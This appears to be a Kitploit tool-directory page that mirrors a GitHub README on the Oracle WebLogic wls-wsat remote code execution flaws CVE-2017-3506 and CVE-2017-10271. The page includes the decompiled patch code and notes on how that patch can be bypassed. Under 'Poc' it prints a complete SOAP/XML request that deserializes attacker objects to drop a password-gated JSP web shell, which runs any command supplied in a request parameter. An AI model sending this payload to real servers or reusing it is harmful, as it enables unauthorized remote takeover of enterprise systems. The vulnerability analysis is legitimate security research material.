Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Oracle-WebLogic-CVE-2017-10271 — WebLogic wls-wsat RCE CVE-2017-10271 | Kitploit
Tools/GitHubGitHub/peterpeter228/oracle-weblogic-cve-2017-10271
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubpeterpeter228/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

View Repository
5618 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Vulnerability Description

In the early days, hackers exploited the WLS component vulnerability of WebLogic to launch large-scale remote attacks against enterprise servers. A large number of enterprise servers were compromised, and the number of attacked enterprises showed a clear upward trend, which requires high attention. Among them, CVE-2017-3506 is a remote code execution vulnerability using the WLS component in Oracle WebLogic. It is a wild exploitation vulnerability without public details, and many enterprises have not yet installed the patch in time. The official patch for this vulnerability was released in April 2017.

CVE-2017-3506 patch description:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

It only adds a validate function before deserialization. If qName equals "object", it throws an exception and terminates. It is simple and crude. However, this kind of blacklist fix is difficult to completely repair the vulnerability. Worth pondering...

The exploitation method for this vulnerability is relatively simple. An attacker only needs to send a carefully crafted HTTP request to gain access to the target server, which is extremely harmful. Because the vulnerability is relatively new, there are still many hosts that have not updated the relevant patches. It is expected that after this sudden incident, the number of attack incidents may surge, and a large number of new hosts may be compromised.

The official patch from Oracle in April did not completely fix CVE-2017-3506. The patch could be bypassed, allowing remote commands to still be executed. CVE-2017-10271 is a bypass vulnerability that was fixed in the official patch released in October.

Vulnerability ID

CVE-2017-3506 (wls-wsat remote command execution vulnerability) CVE-2017-10271 (wls-wsat remote command execution bypass vulnerability)

Affected Versions

Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.1.0 Oracle WebLogic Server 12.2.1.2.0

Exploitation Method

CVE-2017-3506

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Poc:

root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

Not finished, had to go out...

Download Tool